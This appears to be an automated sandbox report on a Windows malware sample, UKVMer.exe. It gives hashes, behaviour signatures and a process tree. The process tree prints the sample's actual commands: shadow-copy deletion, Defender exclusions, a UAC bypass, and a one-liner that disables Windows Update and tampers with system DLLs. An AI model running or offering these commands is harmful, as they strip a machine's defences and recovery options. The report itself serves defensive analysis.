Analysis
- max time kernel
150s - max time network
104s - platform
windows11-21h2_x64 - resource
win11-20250619-en - resource tags
arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system - submitted
26/09/2025, 04:38
Behavioral task
behavioral1
Sample
Ars8oOPq.exe
Resource
win10v2004-20250619-en
Behavioral task
behavioral2
Sample
Ars8oOPq.exe
Resource
win11-20250610-en
Behavioral task
behavioral3
Sample
UKVMer.exe
Resource
win10v2004-20250502-en
Behavioral task
behavioral4
Sample
UKVMer.exe
Resource
win11-20250619-en
Behavioral task
behavioral5
Sample
XPSPLOG.dll
Resource
win10v2004-20250619-en
Behavioral task
behavioral6
Sample
XPSPLOG.dll
Resource
win11-20250619-en
General
- Target UKVMer.exe
- Size 145KB
- Sample250926-e9d5qsdp8x
- SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
- MD5 5251b98614acffe5c856f4039ca03da3
- SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
- SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
- SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" UKVMer.exe - Windows security bypass 2 TTPs 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 5084 powershell.exe 2104 powershell.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts UKVMer.exe - Possible privilege escalation attempt 8 IoCs
pid Process 1640 icacls.exe 3356 takeown.exe 4460 icacls.exe 5916 icacls.exe 4236 icacls.exe 2612 icacls.exe 3860 takeown.exe 2044 icacls.exe - Disables service(s) 3 TTPs
- Modifies file permissions 1 TTPs 8 IoCs
pid Process 4236 icacls.exe 2612 icacls.exe 3860 takeown.exe 2044 icacls.exe 1640 icacls.exe 3356 takeown.exe 4460 icacls.exe 5916 icacls.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 868 cmd.exe 3308 cmd.exe 5444 cmd.exe 324 cmd.exe 1212 cmd.exe - Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2036 sc.exe 1248 sc.exe 640 sc.exe 5112 sc.exe 5160 sc.exe 3636 sc.exe 4976 sc.exe 3384 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Screensaver 1 TTPs 3 IoCs
Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0" UKVMer.exe Set value (str) \REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\SCRNSAVE.EXE UKVMer.exe Set value (str) \REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\ScreenSaveActive = "0" UKVMer.exe - System Location Discovery: System Language Discovery 1 TTPs 55 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UKVMer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language takeown.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language takeown.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UKVMer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UKVMer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UKVMer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language icacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe - Modifies Control Panel 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0" UKVMer.exe Set value (str) \REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\SCRNSAVE.EXE UKVMer.exe Set value (str) \REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\ScreenSaveActive = "0" UKVMer.exe Set value (str) \REGISTRY\USER\S-1-5-21-4024151881-1944119507-1574723210-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0" UKVMer.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3492 schtasks.exe 4588 schtasks.exe 2420 schtasks.exe 1844 schtasks.exe 1388 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe 5604 UKVMer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5084 powershell.exe Token: SeTakeOwnershipPrivilege 3356 takeown.exe Token: SeRestorePrivilege 5916 icacls.exe Token: SeTakeOwnershipPrivilege 3860 takeown.exe Token: SeRestorePrivilege 4236 icacls.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeIncreaseQuotaPrivilege 2104 powershell.exe Token: SeSecurityPrivilege 2104 powershell.exe Token: SeTakeOwnershipPrivilege 2104 powershell.exe Token: SeLoadDriverPrivilege 2104 powershell.exe Token: SeSystemProfilePrivilege 2104 powershell.exe Token: SeSystemtimePrivilege 2104 powershell.exe Token: SeProfSingleProcessPrivilege 2104 powershell.exe Token: SeIncBasePriorityPrivilege 2104 powershell.exe Token: SeCreatePagefilePrivilege 2104 powershell.exe Token: SeBackupPrivilege 2104 powershell.exe Token: SeRestorePrivilege 2104 powershell.exe Token: SeShutdownPrivilege 2104 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeSystemEnvironmentPrivilege 2104 powershell.exe Token: SeRemoteShutdownPrivilege 2104 powershell.exe Token: SeUndockPrivilege 2104 powershell.exe Token: SeManageVolumePrivilege 2104 powershell.exe Token: 33 2104 powershell.exe Token: 34 2104 powershell.exe Token: 35 2104 powershell.exe Token: 36 2104 powershell.exe Token: SeIncreaseQuotaPrivilege 2104 powershell.exe Token: SeSecurityPrivilege 2104 powershell.exe Token: SeTakeOwnershipPrivilege 2104 powershell.exe Token: SeLoadDriverPrivilege 2104 powershell.exe Token: SeSystemProfilePrivilege 2104 powershell.exe Token: SeSystemtimePrivilege 2104 powershell.exe Token: SeProfSingleProcessPrivilege 2104 powershell.exe Token: SeIncBasePriorityPrivilege 2104 powershell.exe Token: SeCreatePagefilePrivilege 2104 powershell.exe Token: SeBackupPrivilege 2104 powershell.exe Token: SeRestorePrivilege 2104 powershell.exe Token: SeShutdownPrivilege 2104 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeSystemEnvironmentPrivilege 2104 powershell.exe Token: SeRemoteShutdownPrivilege 2104 powershell.exe Token: SeUndockPrivilege 2104 powershell.exe Token: SeManageVolumePrivilege 2104 powershell.exe Token: 33 2104 powershell.exe Token: 34 2104 powershell.exe Token: 35 2104 powershell.exe Token: 36 2104 powershell.exe Token: SeIncreaseQuotaPrivilege 2104 powershell.exe Token: SeSecurityPrivilege 2104 powershell.exe Token: SeTakeOwnershipPrivilege 2104 powershell.exe Token: SeLoadDriverPrivilege 2104 powershell.exe Token: SeSystemProfilePrivilege 2104 powershell.exe Token: SeSystemtimePrivilege 2104 powershell.exe Token: SeProfSingleProcessPrivilege 2104 powershell.exe Token: SeIncBasePriorityPrivilege 2104 powershell.exe Token: SeCreatePagefilePrivilege 2104 powershell.exe Token: SeBackupPrivilege 2104 powershell.exe Token: SeRestorePrivilege 2104 powershell.exe Token: SeShutdownPrivilege 2104 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeSystemEnvironmentPrivilege 2104 powershell.exe Token: SeRemoteShutdownPrivilege 2104 powershell.exe Token: SeUndockPrivilege 2104 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5604 wrote to memory of 4364 5604 UKVMer.exe 79 PID 5604 wrote to memory of 4364 5604 UKVMer.exe 79 PID 5604 wrote to memory of 4364 5604 UKVMer.exe 79 PID 5604 wrote to memory of 5084 5604 UKVMer.exe 81 PID 5604 wrote to memory of 5084 5604 UKVMer.exe 81 PID 5604 wrote to memory of 5084 5604 UKVMer.exe 81 PID 5604 wrote to memory of 3308 5604 UKVMer.exe 83 PID 5604 wrote to memory of 3308 5604 UKVMer.exe 83 PID 5604 wrote to memory of 3308 5604 UKVMer.exe 83 PID 5604 wrote to memory of 3820 5604 UKVMer.exe 85 PID 5604 wrote to memory of 3820 5604 UKVMer.exe 85 PID 5604 wrote to memory of 3820 5604 UKVMer.exe 85 PID 3308 wrote to memory of 2420 3308 cmd.exe 87 PID 3308 wrote to memory of 2420 3308 cmd.exe 87 PID 3308 wrote to memory of 2420 3308 cmd.exe 87 PID 3820 wrote to memory of 2356 3820 cmd.exe 88 PID 3820 wrote to memory of 2356 3820 cmd.exe 88 PID 3820 wrote to memory of 2356 3820 cmd.exe 88 PID 2356 wrote to memory of 3276 2356 net.exe 89 PID 2356 wrote to memory of 3276 2356 net.exe 89 PID 2356 wrote to memory of 3276 2356 net.exe 89 PID 3308 wrote to memory of 4392 3308 cmd.exe 90 PID 3308 wrote to memory of 4392 3308 cmd.exe 90 PID 3308 wrote to memory of 4392 3308 cmd.exe 90 PID 3308 wrote to memory of 1768 3308 cmd.exe 92 PID 3308 wrote to memory of 1768 3308 cmd.exe 92 PID 3308 wrote to memory of 1768 3308 cmd.exe 92 PID 3820 wrote to memory of 2036 3820 cmd.exe 93 PID 3820 wrote to memory of 2036 3820 cmd.exe 93 PID 3820 wrote to memory of 2036 3820 cmd.exe 93 PID 3820 wrote to memory of 1248 3820 cmd.exe 94 PID 3820 wrote to memory of 1248 3820 cmd.exe 94 PID 3820 wrote to memory of 1248 3820 cmd.exe 94 PID 3820 wrote to memory of 5180 3820 cmd.exe 96 PID 3820 wrote to memory of 5180 3820 cmd.exe 96 PID 3820 wrote to memory of 5180 3820 cmd.exe 96 PID 5180 wrote to memory of 4996 5180 net.exe 97 PID 5180 wrote to memory of 4996 5180 net.exe 97 PID 5180 wrote to memory of 4996 5180 net.exe 97 PID 3820 wrote to memory of 640 3820 cmd.exe 98 PID 3820 wrote to memory of 640 3820 cmd.exe 98 PID 3820 wrote to memory of 640 3820 cmd.exe 98 PID 3820 wrote to memory of 5112 3820 cmd.exe 99 PID 3820 wrote to memory of 5112 3820 cmd.exe 99 PID 3820 wrote to memory of 5112 3820 cmd.exe 99 PID 3820 wrote to memory of 5220 3820 cmd.exe 100 PID 3820 wrote to memory of 5220 3820 cmd.exe 100 PID 3820 wrote to memory of 5220 3820 cmd.exe 100 PID 5220 wrote to memory of 1000 5220 net.exe 101 PID 5220 wrote to memory of 1000 5220 net.exe 101 PID 5220 wrote to memory of 1000 5220 net.exe 101 PID 3820 wrote to memory of 5160 3820 cmd.exe 102 PID 3820 wrote to memory of 5160 3820 cmd.exe 102 PID 3820 wrote to memory of 5160 3820 cmd.exe 102 PID 3820 wrote to memory of 3636 3820 cmd.exe 103 PID 3820 wrote to memory of 3636 3820 cmd.exe 103 PID 3820 wrote to memory of 3636 3820 cmd.exe 103 PID 3820 wrote to memory of 5140 3820 cmd.exe 104 PID 3820 wrote to memory of 5140 3820 cmd.exe 104 PID 3820 wrote to memory of 5140 3820 cmd.exe 104 PID 5140 wrote to memory of 6140 5140 net.exe 105 PID 5140 wrote to memory of 6140 5140 net.exe 105 PID 5140 wrote to memory of 6140 5140 net.exe 105 PID 3820 wrote to memory of 4976 3820 cmd.exe 106 - System policy modification 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" UKVMer.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\UKVMer.exe"C:\Users\Admin\AppData\Local\Temp\UKVMer.exe"1⤵
- UAC bypass
- Drops file in Drivers directory
- Event Triggered Execution: Screensaver
- System Location Discovery: System Language Discovery
- Modifies Control Panel
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5604 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet2⤵
- System Location Discovery: System Language Discovery
PID:4364
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5084
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3308 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\AppData\Local\Temp\" /t REG_DWORD /d 0 /f"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2420
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
- System Location Discovery: System Language Discovery
PID:4392
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵
- System Location Discovery: System Language Discovery
PID:1768
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3820 -
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2356 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
- System Location Discovery: System Language Discovery
PID:3276
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2036
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C:\Windows\SysWOW64\sc.exesc failure wuauserv reset= 0 actions= ""3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1248
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C:\Windows\SysWOW64\net.exenet stop UsoSvc3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5180 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UsoSvc4⤵
- System Location Discovery: System Language Discovery
PID:4996
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C:\Windows\SysWOW64\sc.exesc config UsoSvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:640
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C:\Windows\SysWOW64\sc.exesc failure UsoSvc reset= 0 actions= ""3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5112
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C:\Windows\SysWOW64\net.exenet stop uhssvc3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5220 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop uhssvc4⤵
- System Location Discovery: System Language Discovery
PID:1000
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C:\Windows\SysWOW64\sc.exesc config uhssvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:5160
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C:\Windows\SysWOW64\sc.exesc failure uhssvc reset= 0 actions= ""3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3636
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C:\Windows\SysWOW64\net.exenet stop WaaSMedicSvc3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5140 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WaaSMedicSvc4⤵
- System Location Discovery: System Language Discovery
PID:6140
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C:\Windows\SysWOW64\sc.exesc config WaaSMedicSvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4976
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C:\Windows\SysWOW64\sc.exesc failure WaaSMedicSvc reset= 0 actions= ""3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3384
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3356
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4460
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5916
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-03⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2044
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\wuaueng.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3860
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2612
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4236
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-03⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:1640
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C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f3⤵
- System Location Discovery: System Language Discovery
PID:2228
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C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f3⤵
- System Location Discovery: System Language Discovery
PID:916
-
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f3⤵
- System Location Discovery: System Language Discovery
PID:456
